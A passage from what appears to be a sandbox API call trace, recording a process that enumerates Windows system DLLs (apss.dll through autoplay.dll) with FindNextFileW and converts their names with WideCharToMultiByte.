| out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0xa9c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0xa9c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0xa9c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.914] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0136.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0xa9c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0136.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0xa9c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0136.915] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0136.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0xa9c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0xa9c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0xa9c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0xa9c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.933] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 